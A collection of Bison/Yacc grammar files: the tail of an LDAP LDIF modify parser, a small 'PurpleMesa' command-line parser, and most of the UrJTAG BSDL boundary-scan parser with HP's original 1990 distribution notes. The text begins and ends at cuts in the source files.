// the thing now is that we've grabbed away the first
// element. However, the user may have made a mistake and
// specified more attributes with other names in this field.
// He'll get lucky if the first attribute he specified was
// the one we're changing.
// well, to make a long story short, we should reform the
// first element and properly free this array
//
ppModTmp[0]=(LDAPModW *)MemAlloc_E(sizeof(LDAPModW));
ppModTmp[0]->mod_type=MemAllocStrW_E(L"blah");
ppModTmp[0]->mod_op=LDAP_MOD_ADD;
ppModTmp[0]->mod_values=(PWSTR*)MemAlloc_E(sizeof(PWSTR));
ppModTmp[0]->mod_values[0]=NULL;
//
// free the array, we don't need it
//
FreeAllMods(ppModTmp);
DBGPRNT("Add modify.\n");
}
| M_type ADDC M_normal any_space M_name_readnc NAMENC M_normal
sep attrval_spec_list error
{
RaiseException(LL_MISSING_MOD_SPEC_TERMINATOR, 0, 0, NULL);
}
;
mod_delete_spec: M_type DELETEC M_normal any_space
M_name_readnc NAMENC M_normal maybe_attrval_spec_list
SEPBYMINUS M_type MINUS M_normal
{
if ($8) {
LDAPModW **ppModTmp = NULL;
// The attribute value spec list element above is
// actually an LDAPModW** array, whose first element
// is the the one we are looking for. (The second
// element is null)
//
ppModTmp = GenerateModFromList(PACK);
//
// assign the one we want
//
$$ = ppModTmp[0];
if (ppModTmp[1]!=NULL) {
DBGPRNT("WARNING: Extra attr names in mod del.\n");
RaiseException(LL_EXTRA, 0, 0, NULL);
}
//
// This is really kindof pointless, since the name
// has already been set by a properly written
// modify, but we should follow the spec
//
MemFree($$->mod_type);
$$->mod_type = MemAllocStrW_E($6);
MemFree($6);
//
// the thing now is that we've grabbed away the
// first element. However, the user may have made a
// mistake and specified more attributes with other
// names in this field. He'll get lucky if the first
// attribute he specified was the one we're
// changing. well, to make a long story short, we
// should reform the first element and properly free
// this array
//
ppModTmp[0] = (LDAPModW *)MemAlloc_E(sizeof(LDAPModW));
ppModTmp[0]->mod_type = MemAllocStrW_E(L"blah");
ppModTmp[0]->mod_op = LDAP_MOD_ADD;
ppModTmp[0]->mod_values = (PWSTR*)MemAlloc_E(sizeof(PWSTR));
ppModTmp[0]->mod_values[0] = NULL;
//
// free the array, we don't need it
//
FreeAllMods(ppModTmp);
}
else {
$$ = (LDAPModW *)MemAlloc_E(sizeof(LDAPModW));
$$->mod_values = NULL;
$$->mod_type = MemAllocStrW_E($6);
MemFree($6);
$$->mod_op = 0;
}
//
// set its op field
//
$$->mod_op = ($$->mod_op)|LDAP_MOD_DELETE;
//
// remember that it may haven't berval'd
//
DBGPRNT("Modify delete.\n");
}
;
mod_replace_spec: M_type REPLACEC M_normal any_space M_name_readnc NAMENC
M_normal maybe_attrval_spec_list SEPBYMINUS M_type
MINUS M_normal
{
if ($8) {
LDAPModW **ppModTmp = NULL;
//
// The attribute value spec list element above is
// actually an LDAPModW** array, whose first element is
// the the one we are looking for. (The second element
// is null)*/
ppModTmp = GenerateModFromList(PACK);
//
// assign the one we want
//
$$ = ppModTmp[0];
if (ppModTmp[1]!= NULL) {
DBGPRNT("WARNING: Extraneous attribute names specified in modify replace.\n");
RaiseException(LL_EXTRA, 0, 0, NULL);
}
//
// This is really kindof pointless, since the name has
// already been set by a properly written modify, but we
// should follow the spec
//
MemFree($$->mod_type);
$$->mod_type = MemAllocStrW_E($6);
MemFree($6);
//
// the thing now is that we've grabbed away the first
// element. However, the user may have made a mistake
// and specified more attributes with other names in
// this field. He'll get lucky if the first attribute he
// specified was the one we're changing. well, to make a
// long story short, we should reform the first element
// and properly free this array
//
ppModTmp[0] = (LDAPModW *)MemAlloc_E(sizeof(LDAPModW));
ppModTmp[0]->mod_type = MemAllocStrW_E(L"blah");
ppModTmp[0]->mod_op = LDAP_MOD_ADD;
ppModTmp[0]->mod_values = (PWSTR*)MemAlloc_E(sizeof(PWSTR));
ppModTmp[0]->mod_values[0] = NULL;
//
// free the array, we don't need it
//
FreeAllMods(ppModTmp);
}
else {
$$ = (LDAPModW *)MemAlloc_E(sizeof(LDAPModW));
$$->mod_values = NULL;
$$->mod_type = MemAllocStrW_E($6);
MemFree($6);
$$->mod_op = 0;
}
//
// set its op field
//
$$->mod_op=($$->mod_op)|LDAP_MOD_REPLACE;
//
// remember that it may haven't berval'd
//
DBGPRNT("Modify replace.\n");
}
;
//
// Just basically set these to indicate whether or not we have a list cooking
// or not
// Please use maybe_attrval_spec_list only for mod_delete_spec and mod_replace_spec due to the error handling
// added below.
//
maybe_attrval_spec_list: /*nothing*/
{
$$=0;
}
| sep attrval_spec_list
{
$$=1;
}
| error
{
RaiseException(LL_MISSING_MOD_SPEC_TERMINATOR, 0, 0, NULL);
}
| sep attrval_spec_list error
{
RaiseException(LL_MISSING_MOD_SPEC_TERMINATOR, 0, 0, NULL);
}
;
sep: SEP
| SEPBYCHANGE
;
any_sep: SEP
| MULTI_SEP
;
any_space:
| MULTI_SPACE
;
dn: M_safeval VALUE M_normal
{
$$ = MemAllocStrW_E($2);
MemFree($2);
}
;
base64_dn: M_string64 BASE64STRING M_normal
{
//
// The string better decode to somehting with a \0
// at the end
//
PBYTE pByte;
PWSTR pszUnicode;
DWORD dwLen;
long decoded_size;
if(!(pByte=base64decode($2, &decoded_size))) {
perror("Error decoding Base64 dn");
}
/*
//
// I'll add the '\0' myself
//
if (($$=(char *)MemRealloc_E($$,
decoded_size+sizeof(char)))==NULL) {
perror("Not enough memory for base64dn!");
}
*/
ConvertUTF8ToUnicode(
pByte,
decoded_size,
&pszUnicode,
&dwLen
);
MemFree(pByte);
$$ = pszUnicode;
MemFree($2);
}
;
%%
|
<filename>src/kernel/PurpleMesa_parser.y
%skeleton "lalr1.cc" /* -*- C++ -*- */
%defines
%define parser_class_name {PurpleMesa_parser}
%define api.token.constructor
%define api.value.type variant
%define parse.assert
%define api.prefix {yypm}
%code requires
{
class PurpleMesa_parser_driver;
}
// The parsing context.
%param { PurpleMesa_parser_driver& driver }
%locations
%initial-action
{
// Initialize the initial location.
@$.begin.filename = @$.end.filename = &driver.file;
std::cout << "PurpleMesa> ";
};
%define parse.trace
%define parse.error verbose
%code
{
#include "kernel/PurpleMesa_parser_driver.h"
extern int yypmlineno;
void pmprint(const std::string &s){
std::cout << s << "\n" << "PurpleMesa> ";
}
}
%define api.token.prefix {TOK_}
%token
END 0 "end of file"
T_HELP "help"
T_ADD_DESIGN_FILE "add_design_file"
T_EXIT "exit"
;
%token <std::string> IDENTIFIER "identifier"
%token <int> INTEGER "integer"
%type <std::string> filename
%printer { yyoutput << $$; } <*>;
%%
%start unit;
//This is the starting point when parsing a file
unit:
{
}
commands
| "exit" {pmprint("EXIT");}
{
}
commands:
command commands
| command "exit" {std::cout << "\nBYE" << "\n"; return 0;}
| command END {std::cout << "\nBYE" << "\n"; return 0;}
command:
%empty
| "help" {pmprint("HELP!!!");}
| "add_design_file" filename
{
if($2 != "")
pmprint("Adding file " + $2);
}
filename:
"identifier"
{
if (FILE *file = fopen($1.c_str(), "r")) {
fclose(file);
$$ = $1;
} else {
pmprint("Cannot open file " + $1);
$$ = "";
};
}
%%
void yypm::PurpleMesa_parser::error ( const location_type& l,
const std::string& m )
{
driver.error (l, m, yypmlineno);
}
|
<reponame>dm7h/fpga-event-recorder
/*
* $Id: vhdl_bison.y 1345 2008-08-27 20:40:16Z arniml $
*
* Original Yacc code by <NAME>, 1990
* Extensions and adaptions for UrJTAG by <NAME>, 2007
*
*/
/* ----------------------------------------------------------------------- */
/* */
/* Yacc code for BSDL */
/* */
/* ----------------------------------------------------------------------- */
/* Date: 901003 */
/*
Email header accompanying the original Yacc code:
http://www.eda.org/vug_bbs/bsdl.parser
-----------------------------------8<--------------------------------------
Hello All,
This is this first mailing of the BSDL* Version 0.0 parser specifications
we are sending to people who request it from our publicized E-Mail address;
<EMAIL>
You are free to redistribute this at will, but we feel that it would be
better if respondents asked for it directly so that their addresses can
be entered into our list for future mailings and updates.
It would be helpful if you could confirm receipt of this transmission.
We also would be very interested to hear about your experiences with this
information and what you are planning to do with BSDL.
Regards,
<NAME>
Hewlett-Packard Company
*Boundary-Scan Description Language - as documented in:
"A Language for Describing Boundary-Scan Devices", <NAME>
and <NAME>, Proceedings 1990 International Test Conference,
Washington DC, pp 222-234
- -----------------cut here---------------------------------------------------
901004.0721 Hewlett-Packard Company
901016.1049 Manufacturing Test Division
P.O. Box 301
Loveland, Colorado 80537
USA
October 1990
Hello BSDL Parser Requestor,
This Electronic Mail reply contains the computer specifications for
Hewlett-Packard's Version 0.0 BSDL parser. This section of the reply
explains the contents of the rest of this file.
This file is composed of seven (7) parts:
1) How to use this file
2) UNIX* Lex source (lexicographical tokenizing rules)
3) UNIX* Yacc source (BNF-like syntax description)
4) A sample main program to recognize BSDL.
5) A BSDL description of the Texas Instruments 74bct8374 that is
recognized by the parser, for testing purposes.
6) The VHDL package STD_1149_1_1990 needed by this parser.
7) [added 901016] Porting experiences to other systems.
RECOMMENDATION: Save a copy of this file in archival storage before
processing it via the instructions below. This will
allow you to recover from errors, and allow you to
compare subsequently released data for changes.
DISCLAIMERS:
1. The IEEE 1149.1 Working Group has not endorsed BSDL Version 0.0 and
therefore no person may represent it as an IEEE standard or imply that
a resulting IEEE standard will be identical to it.
2. The IEEE 1149.1 Working Group recognizes that BSDL Version 0.0 is a
well-conceived initiative that is likely to excelerate the creation
of tools that support the 1149.1 standard. As such, changes and
enhancements will be carefully considered so as not to needlessly
disrupt these development efforts. The overriding goal is the
ultimate success of the 1149.1 standard.
LEGAL NOTICES:
Hewlett-Packard Company makes no warranty of any kind with regard to
this information, including, but not limited to, the implied
waranties of merchantability and fitness for a particular purpose.
Hewlett-Packard Company shall not be liable for errors contained
herein or direct, indirect, special, incidental, or consequential
damages in connection with the furnishing, performance, or use of
this material.
*UNIX is a trademark of AT&T in the USA and other countries.
*/
%pure-parser
%parse-param {vhdl_parser_priv_t *priv_data}
%defines
%name-prefix="vhdl"
%{
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <ctype.h>
#include "bsdl_sysdep.h"
#include "bsdl_types.h"
#include "bsdl_msg.h"
/* interface to flex */
#include "vhdl_bison.h"
#include "vhdl_parser.h"
#ifdef DMALLOC
#include "dmalloc.h"
#endif
#define YYLEX_PARAM priv_data->scanner
int yylex (YYSTYPE *, void *);
#if 1
#define ERROR_LIMIT 15
#define BUMP_ERROR if (vhdl_flex_postinc_compile_errors( priv_data->scanner ) > ERROR_LIMIT) \
{Give_Up_And_Quit( priv_data );YYABORT;}
#else
#define BUMP_ERROR {Give_Up_And_Quit( priv_data );YYABORT;}
#endif
static void Init_Text( vhdl_parser_priv_t * );
static void Store_Text( vhdl_parser_priv_t *, char * );
static void Print_Error( vhdl_parser_priv_t *, const char * );
static void Give_Up_And_Quit( vhdl_parser_priv_t * );
/* VHDL semantic action interface */
static void vhdl_set_entity( vhdl_parser_priv_t *, char * );
static void vhdl_port_add_name( vhdl_parser_priv_t *, char * );
static void vhdl_port_add_bit( vhdl_parser_priv_t * );
static void vhdl_port_add_range( vhdl_parser_priv_t *, int, int );
static void vhdl_port_apply_port( vhdl_parser_priv_t * );
//static void set_attr_bool( vhdl_parser_priv_t *, char *, int );
static void set_attr_decimal( vhdl_parser_priv_t *, char *, int );
static void set_attr_string( vhdl_parser_priv_t *, char *, char * );
//static void set_attr_real( vhdl_parser_priv_t *, char *, char * );
//static void set_attr_const( vhdl_parser_priv_t *, char *, char * );
void yyerror( vhdl_parser_priv_t *, const char * );
%}
%union
{
int integer;
char *str;
}
%token ENTITY PORT GENERIC USE ATTRIBUTE IS
%token OF CONSTANT STRING END ALL
%token PHYSICAL_PIN_MAP PIN_MAP_STRING TRUE FALSE SIGNAL
%token LOW BOTH IN OUT INOUT
%token BUFFER LINKAGE BIT BIT_VECTOR TO DOWNTO
%token PACKAGE BODY TYPE SUBTYPE RECORD ARRAY
%token POSITIVE RANGE CELL_INFO
%token INPUT OUTPUT2 OUTPUT3 CONTROL CONTROLR INTERNAL
%token CLOCK BIDIR BIDIR_IN BIDIR_OUT EXTEST SAMPLE
%token INTEST RUNBIST PI PO UPD CAP X BIN_X_PATTERN
%token ZERO ONE Z IDENTIFIER
%token SINGLE_QUOTE QUOTED_STRING DECIMAL_NUMBER
%token REAL_NUMBER CONCATENATE SEMICOLON COMMA
%token LPAREN RPAREN COLON
%token BOX COLON_EQUAL PERIOD ILLEGAL
%token BSDL_EXTENSION
%token OBSERVE_ONLY
%token STD_1532_2001 STD_1532_2002
%type <str> BIN_X_PATTERN
%type <str> IDENTIFIER
%type <str> QUOTED_STRING
%type <integer> DECIMAL_NUMBER
%type <integer> Boolean
%type <str> REAL_NUMBER
%start BSDL_Program
%% /* End declarations, begin rules */
BSDL_Program : Begin_BSDL BSDL_Body End_BSDL
;
Begin_BSDL : ENTITY IDENTIFIER IS
{ vhdl_set_entity( priv_data, $2 ); }
| error
{
Print_Error( priv_data, _("Improper Entity declaration") );
Print_Error( priv_data, _("Check if source file is BSDL") );
BUMP_ERROR; YYABORT; /* Probably not a BSDL source file */
}
;
BSDL_Body : VHDL_Generic
VHDL_Port
VHDL_Use_Part
VHDL_Elements
| error
{
Print_Error( priv_data, _("Syntax Error") );
BUMP_ERROR; YYABORT;
}
;
End_BSDL : END IDENTIFIER SEMICOLON
{ free( $2 ); }
| error
{
Print_Error( priv_data, _("Syntax Error") );
BUMP_ERROR; YYABORT;
}
;
VHDL_Generic : GENERIC LPAREN PHYSICAL_PIN_MAP COLON STRING COLON_EQUAL
Quoted_String RPAREN SEMICOLON
;
VHDL_Port : PORT LPAREN Port_Specifier_List RPAREN SEMICOLON
| error
{
Print_Error( priv_data, _("Improper Port declaration") );
BUMP_ERROR; YYABORT;
}
;
Port_Specifier_List : Port_Specifier
| Port_Specifier_List SEMICOLON Port_Specifier
;
Port_Specifier : Port_List COLON Function Scaler_Or_Vector
{ vhdl_port_apply_port( priv_data ); }
;
Port_List : IDENTIFIER
{ vhdl_port_add_name( priv_data, $1 ); }
| Port_List COMMA IDENTIFIER
{ vhdl_port_add_name( priv_data, $3 ); }
;
Function : IN | OUT | INOUT | BUFFER | LINKAGE
;
Scaler_Or_Vector : BIT
{ vhdl_port_add_bit( priv_data ); }
| BIT_VECTOR LPAREN Vector_Range RPAREN
;
Vector_Range : DECIMAL_NUMBER TO DECIMAL_NUMBER
{ vhdl_port_add_range( priv_data, $1, $3 ); }
| DECIMAL_NUMBER DOWNTO DECIMAL_NUMBER
{ vhdl_port_add_range( priv_data, $3, $1 ); }
;
VHDL_Use_Part : ISC_Use
| Standard_Use
| Standard_Use ISC_Use
| Standard_Use VHDL_Use_List
| error
{
Print_Error( priv_data, _("Error in Package declaration(s)") );
BUMP_ERROR; YYABORT;
}
;
Standard_Use : USE IDENTIFIER
{/* Parse Standard 1149.1 Package */
strcpy( priv_data->Package_File_Name, $2 );
free( $2 );
}
PERIOD ALL SEMICOLON
{
priv_data->Reading_Package = 1;
vhdl_flex_switch_file( priv_data->scanner,
priv_data->Package_File_Name );
}
Standard_Package
{
priv_data->Reading_Package = 0;
}
;
Standard_Package : PACKAGE IDENTIFIER IS Standard_Decls Defered_Constants
Standard_Decls END IDENTIFIER SEMICOLON Package_Body
{ free( $2 ); free( $8 ); }
| error
{
Print_Error( priv_data, _("Error in Standard Package") );
BUMP_ERROR; YYABORT;
}
;
Standard_Decls : Standard_Decl
| Standard_Decls Standard_Decl
;
Standard_Decl : ATTRIBUTE IDENTIFIER COLON Attribute_Type SEMICOLON
{ free( $2 ); }
| TYPE IDENTIFIER IS Type_Body SEMICOLON
{ free( $2 ); }
| TYPE CELL_INFO IS ARRAY LPAREN POSITIVE RANGE BOX RPAREN
OF IDENTIFIER SEMICOLON
{ free( $11 ); }
| SUBTYPE PIN_MAP_STRING IS STRING SEMICOLON
| SUBTYPE BSDL_EXTENSION IS STRING SEMICOLON
| error
{
Print_Error( priv_data, _("Error in Standard Declarations") );
BUMP_ERROR; YYABORT;
}
;
Attribute_Type : IDENTIFIER
{ free( $1 ); }
| STRING
| DECIMAL_NUMBER
| BSDL_EXTENSION
| error
{
Print_Error( priv_data, _("Error in Attribute type identification") );
BUMP_ERROR; YYABORT;
}
;
Type_Body : LPAREN ID_Bits RPAREN
| LPAREN ID_List RPAREN
| LPAREN LOW COMMA BOTH RPAREN
| ARRAY LPAREN DECIMAL_NUMBER TO DECIMAL_NUMBER RPAREN
OF IDENTIFIER
{ free( $8 ); }
| ARRAY LPAREN DECIMAL_NUMBER DOWNTO DECIMAL_NUMBER RPAREN
OF IDENTIFIER
{ free( $8 ); }
| RECORD Record_Body END RECORD
| error
{
Print_Error( priv_data, _("Error in Type definition") );
BUMP_ERROR; YYABORT;
}
;
ID_Bits : ID_Bit
| ID_Bits COMMA ID_Bit
;
ID_List : IDENTIFIER
{ free( $1 ); }
| ID_List COMMA IDENTIFIER
{ free( $3 ); }
;
ID_Bit : SINGLE_QUOTE BIN_X_PATTERN SINGLE_QUOTE
{ free( $2 ); }
| error
{
Print_Error( priv_data, _("Error in Bit definition") );
BUMP_ERROR; YYABORT;
}
;
Record_Body : Record_Element
| Record_Body Record_Element
;
Record_Element : IDENTIFIER COLON IDENTIFIER SEMICOLON
{ free( $1 ); free( $3 ); }
| error
{
Print_Error( priv_data, _("Error in Record Definition") );
BUMP_ERROR; YYABORT;
}
;
Defered_Constants : Defered_Constant
| Defered_Constants Defered_Constant
;
Defered_Constant : CONSTANT Constant_Body
;
Constant_Body : IDENTIFIER COLON CELL_INFO SEMICOLON
{ free( $1 ); }
| error
{
Print_Error( priv_data, _("Error in defered constant") );
BUMP_ERROR; YYABORT;
}
;
VHDL_Use_List : VHDL_Use
| VHDL_Use_List VHDL_Use
;
Package_Body : PACKAGE BODY IDENTIFIER IS Constant_List END IDENTIFIER
{ free( $3 ); free( $7 ); }
SEMICOLON
| error
{
Print_Error( priv_data, _("Error in Package Body definition") );
BUMP_ERROR; YYABORT;
}
;
Constant_List : Cell_Constant
| Constant_List Cell_Constant
;
Cell_Constant : CONSTANT IDENTIFIER COLON CELL_INFO COLON_EQUAL
LPAREN Triples_List RPAREN SEMICOLON
{ free( $2 ); }
| error
{
Print_Error( priv_data, _("Error in Cell Constant definition") );
BUMP_ERROR; YYABORT;
}
;
Triples_List : Triple
| Triples_List COMMA Triple
;
Triple : LPAREN Triple_Function COMMA Triple_Inst COMMA CAP_Data
RPAREN
| error
{
Print_Error( priv_data, _("Error in Cell Data Record") );
BUMP_ERROR; YYABORT;
}
;
Triple_Function : INPUT | OUTPUT2 | OUTPUT3 | INTERNAL | CONTROL
| CONTROLR | CLOCK | BIDIR_IN | BIDIR_OUT
| OBSERVE_ONLY
| error
{
Print_Error( priv_data, _("Error in Cell_Type Function field") );
BUMP_ERROR; YYABORT;
}
;
Triple_Inst : EXTEST | SAMPLE | INTEST | RUNBIST
| error
{
Print_Error( priv_data, _("Error in BScan_Inst Instruction field") );
BUMP_ERROR; YYABORT;
}
;
CAP_Data : PI | PO | UPD | CAP | X | ZERO | ONE
| error
{
Print_Error( priv_data, _("Error in Constant CAP data source field") );
BUMP_ERROR; YYABORT;
}
;
VHDL_Use : USE IDENTIFIER
{/* Parse Standard 1149.1 Package */
strcpy(priv_data->Package_File_Name, $2);
free($2);
}
PERIOD ALL SEMICOLON
{
priv_data->Reading_Package = 1;
vhdl_flex_switch_file(priv_data->scanner,
priv_data->Package_File_Name);
}
User_Package
{
priv_data->Reading_Package = 0;
}
;
User_Package : PACKAGE IDENTIFIER
IS Defered_Constants END IDENTIFIER SEMICOLON Package_Body
{ free($2); free($6); }
| error
{Print_Error(priv_data, _("Error in User-Defined Package declarations"));
BUMP_ERROR; YYABORT; }
;
VHDL_Elements : VHDL_Element
| VHDL_Elements VHDL_Element
| error
{
Print_Error( priv_data, _("Unknown VHDL statement") );
BUMP_ERROR; YYABORT;
}
;
VHDL_Element : VHDL_Constant
| VHDL_Attribute
;
VHDL_Constant : CONSTANT VHDL_Constant_Part
;
VHDL_Constant_Part : IDENTIFIER COLON PIN_MAP_STRING COLON_EQUAL
Quoted_String SEMICOLON
// { set_attr_const( priv_data, $1, strdup( "PIN_MAP_STRING" ) ); }
{ free( $1 ); }
;
VHDL_Attribute : ATTRIBUTE VHDL_Attribute_Types
;
VHDL_Attribute_Types : VHDL_Attr_Boolean
| VHDL_Attr_Decimal
| VHDL_Attr_Real
| VHDL_Attr_String
| VHDL_Attr_PhysicalPinMap
| error
{
Print_Error( priv_data, _("Error in Attribute specification") );
BUMP_ERROR; YYABORT;
}
;
VHDL_Attr_Boolean : IDENTIFIER OF IDENTIFIER COLON SIGNAL IS Boolean SEMICOLON
{
//set_attr_bool( priv_data, $1, $7 );
//free( $3 );
/* skip boolean attributes for the time being */
free( $1 ); free( $3 );
}
;
Boolean : TRUE
{ $$ = 1; }
| FALSE
{ $$ = 0; }
;
VHDL_Attr_Decimal : IDENTIFIER OF IDENTIFIER COLON ENTITY IS DECIMAL_NUMBER SEMICOLON
{
set_attr_decimal( priv_data, $1, $7 );
free( $3 );
}
;
VHDL_Attr_Real : IDENTIFIER OF IDENTIFIER COLON SIGNAL IS LPAREN REAL_NUMBER COMMA Stop RPAREN SEMICOLON
{
//set_attr_real( priv_data, $1, $8 );
//free( $3 );
/* skip real attributes for the time being */
free( $1 ); free( $3 ); free( $8 );
}
;
Stop : LOW | BOTH
;
VHDL_Attr_String : IDENTIFIER OF IDENTIFIER COLON ENTITY IS Quoted_String SEMICOLON
{
set_attr_string( priv_data, $1, strdup( priv_data->buffer ) );
free( $3 );
}
;
VHDL_Attr_PhysicalPinMap : IDENTIFIER OF IDENTIFIER COLON ENTITY IS PHYSICAL_PIN_MAP SEMICOLON
{ free( $1 ); free( $3 ); }
;
Quoted_String : QUOTED_STRING
{
Init_Text( priv_data );
Store_Text( priv_data, $1 );
free( $1 );
}
| Quoted_String CONCATENATE QUOTED_STRING
{
Store_Text( priv_data, $3 );
free( $3 );
}
;
ISC_Use : USE ISC_Packages PERIOD ALL SEMICOLON
{
priv_data->Reading_Package = 1;
vhdl_flex_switch_file( priv_data->scanner,
priv_data->Package_File_Name );
}
ISC_Package
{
priv_data->Reading_Package = 0;
}
;
ISC_Packages : STD_1532_2001
{
strcpy( priv_data->Package_File_Name, "STD_1532_2001" );
}
| STD_1532_2002
{
strcpy( priv_data->Package_File_Name, "STD_1532_2002" );
}
;
ISC_Package : ISC_Package_Header ISC_Package_Body
;
ISC_Package_Header : PACKAGE ISC_Packages IS
Standard_Use
{
priv_data->Reading_Package = 1;
}
Standard_Decls
END ISC_Packages SEMICOLON
;
ISC_Package_Body : PACKAGE BODY ISC_Packages IS
END ISC_Packages SEMICOLON
;
%% /* End rules, begin programs */
/*****************************************************************************
* void Init_Text( vhdl_parser_priv_t *priv )
*
* Allocates the internal test buffer if not already existing.
*
* Parameters
* priv : private data container for parser related tasks
*
* Returns
* void
****************************************************************************/
static void Init_Text( vhdl_parser_priv_t *priv )
{
if (priv->len_buffer == 0)
{
priv->buffer = (char *)malloc( 160 );
priv->len_buffer = 160;
}
priv->buffer[0] = '\0';
}
/*****************************************************************************
* void Store_Text( vhdl_parser_priv_t *priv, char *Source )
*
* Appends the given String to the internal text buffer. The buffer
* is extended if the string does not fit into the current size.
*
* Parameters
* priv : private data container for parser related tasks
* String : pointer to string that is to be added to buffer
*
* Returns
* void
****************************************************************************/
static void Store_Text( vhdl_parser_priv_t *priv, char *Source )
{ /* Save characters from VHDL string in local string buffer. */
size_t req_len;
char *SourceEnd;
SourceEnd = ++Source; /* skip leading '"' */
while (*SourceEnd && (*SourceEnd != '"') && (*SourceEnd != '\n'))
SourceEnd++;
/* terminate Source string with NUL character */
*SourceEnd = '\0';
req_len = strlen( priv->buffer ) + strlen( Source ) + 1;
if (req_len > priv->len_buffer)
{
priv->buffer = (char *)realloc( priv->buffer, req_len );
priv->len_buffer = req_len;
}
strcat( priv->buffer, Source );
}
/*----------------------------------------------------------------------*/
static void Print_Error( vhdl_parser_priv_t *priv_data, const char *Errmess )
{
jtag_ctrl_t *jc = priv_data->jtag_ctrl;
if (priv_data->Reading_Package)
bsdl_msg( jc->proc_mode,
BSDL_MSG_ERR, _("In Package %s, Line %d, %s.\n"),
priv_data->Package_File_Name,
vhdl_flex_get_lineno( priv_data->scanner ),
Errmess );
else
bsdl_msg( jc->proc_mode,
BSDL_MSG_ERR, _("Line %d, %s.\n"),
vhdl_flex_get_lineno( priv_data->scanner ),
Errmess );
}
/*----------------------------------------------------------------------*/
static void Give_Up_And_Quit( vhdl_parser_priv_t *priv_data )
{
Print_Error( priv_data, _("Too many errors") );
}
/*----------------------------------------------------------------------*/
void yyerror( vhdl_parser_priv_t *priv_data, const char *error_string )
{
}
/*****************************************************************************
* void vhdl_sem_init( vhdl_parser_priv_t *priv )
*
* Initializes storage elements in the private parser and jtag control
* structures that are used for semantic purposes.
*
* Parameters
* priv : private data container for parser related tasks
*
* Returns
* void
****************************************************************************/
static void vhdl_sem_init( vhdl_parser_priv_t *priv )
{
priv->tmp_port_desc.names_list = NULL;
priv->tmp_port_desc.next = NULL;
priv->jtag_ctrl->port_desc = NULL;
priv->jtag_ctrl->vhdl_elem_first = NULL;
priv->jtag_ctrl->vhdl_elem_last = NULL;
}
/*****************************************************************************
* void free_string_list( string_elem_t *sl )
*
* Deallocates the given list of string_elem items.
*
* Parameters
* sl : first string_elem to deallocate
*
* Returns
* void
****************************************************************************/
static void free_string_list( string_elem_t *sl )
{
if (sl)
{
if (sl->string)
free( sl->string );
free_string_list( sl->next );
free( sl );
}
}
/*****************************************************************************
* void free_port_list( port_desc_t *pl, int free_me )
*
* Deallocates the given list of port_desc.
*
* Parameters
* pl : first port_desc to deallocate
* free_me : set to 1 to free memory for ai as well
*
* Returns
* void
****************************************************************************/
static void free_port_list( port_desc_t *pl, int free_me )
{
if (pl)
{
free_string_list( pl->names_list );
free_port_list( pl->next, 1 );
if (free_me)
free( pl );
}
}
/*****************************************************************************
* void free_elem_list( vhdl_elem_t *el )
*
* Deallocates the given list of vhdl_elem items.
*
* Parameters
* el : first vhdl_elem to deallocate
*
* Returns
* void
****************************************************************************/
static void free_elem_list( vhdl_elem_t *el )
{
if (el)
{
free_elem_list( el->next );
if (el->name)
free( el->name );
if (el->payload)
free( el->payload );
free( el );
}
}
/*****************************************************************************
* void vhdl_sem_deinit( vhdl_parser_priv_t *priv )
*
* Frees and deinitializes storage elements in the private parser and
* jtag control structures that were filled by semantic rules.
*
* Parameters
* priv : private data container for parser related tasks
*
* Returns
* void
****************************************************************************/
static void vhdl_sem_deinit( vhdl_parser_priv_t *priv_data )
{
port_desc_t *pd = priv_data->jtag_ctrl->port_desc;
vhdl_elem_t *el = priv_data->jtag_ctrl->vhdl_elem_first;
/* free port_desc list */
free_port_list( pd, 1 );
free_port_list( &(priv_data->tmp_port_desc), 0 );
/* free VHDL element list */
free_elem_list( el );
priv_data->jtag_ctrl = NULL;
}
/*****************************************************************************
* vhdl_parser_priv_t *vhdl_parser_init( FILE *f, jtag_ctrl_t *jtag_ctrl )
*
* Initializes storage elements in the private parser structure that are
* used for parser maintenance purposes.
* Subsequently calls initializer functions for the scanner and the semantic
* parts.
*
* Parameters
* f : descriptor of file for scanning
* jtag_ctrl : pointer to jtag control structure
*
* Returns
* pointer to private parser structure
****************************************************************************/
vhdl_parser_priv_t *vhdl_parser_init( FILE *f, jtag_ctrl_t *jtag_ctrl )
{
vhdl_parser_priv_t *new_priv;
if (!(new_priv = (vhdl_parser_priv_t *)malloc( sizeof( vhdl_parser_priv_t ) )))
{
bsdl_msg( jtag_ctrl->proc_mode,
BSDL_MSG_ERR, _("Out of memory, %s line %i\n"), __FILE__, __LINE__ );
return NULL;
}
new_priv->jtag_ctrl = jtag_ctrl;
new_priv->Reading_Package = 0;
new_priv->buffer = NULL;
new_priv->len_buffer = 0;
if (!(new_priv->scanner = vhdl_flex_init( f, jtag_ctrl->proc_mode )))
{
free( new_priv );
new_priv = NULL;
}
vhdl_sem_init( new_priv );
return new_priv;
}
/*****************************************************************************
* void vhdl_parser_deinit( vhdl_parser_priv_t *priv )
*
* Frees storage elements in the private parser structure that are
* used for parser maintenance purposes.
* Subsequently calls deinitializer functions for the scanner and the semantic
* parts.
*
* Parameters
* priv : private data container for parser related tasks
*
* Returns
* void
****************************************************************************/
void vhdl_parser_deinit( vhdl_parser_priv_t *priv_data )
{
if (priv_data->buffer)
{
free( priv_data->buffer );
priv_data->buffer = NULL;
}
vhdl_sem_deinit( priv_data );
vhdl_flex_deinit( priv_data->scanner );
free( priv_data );
}
/*****************************************************************************
* void vhdl_set_entity( vhdl_parser_priv_t *priv, char *entityname )
*
* Applies the entity name from BSDL as the part name.
*
* Parameters
* priv : private data container for parser related tasks
* entityname : entity name string, memory gets free'd
*
* Returns
* void
****************************************************************************/
static void vhdl_set_entity( vhdl_parser_priv_t *priv, char *entityname )
{
if (priv->jtag_ctrl->proc_mode & BSDL_MODE_INSTR_EXEC)
{
strncpy( priv->jtag_ctrl->part->part, entityname, MAXLEN_PART );
priv->jtag_ctrl->part->part[MAXLEN_PART] = '\0';
}
free( entityname );
}
/*****************************************************************************
* void vhdl_port_add_name( vhdl_parser_priv_t *priv, char *name )
* Port name management function
*
* Sets the name field of the temporary storage area for port description
* (port_desc) to the parameter name.
*
* Parameters
* priv : private data container for parser related tasks
* name : base name of the port, memory get's free'd lateron
*
* Returns
* void
****************************************************************************/
static void vhdl_port_add_name( vhdl_parser_priv_t *priv, char *name )
{
port_desc_t *pd = &(priv->tmp_port_desc);
string_elem_t *new_string;
new_string = (string_elem_t *)malloc( sizeof( string_elem_t ) );
if (new_string)
{
new_string->next = pd->names_list;
new_string->string = name;
pd->names_list = new_string;
}
else
bsdl_msg( priv->jtag_ctrl->proc_mode,
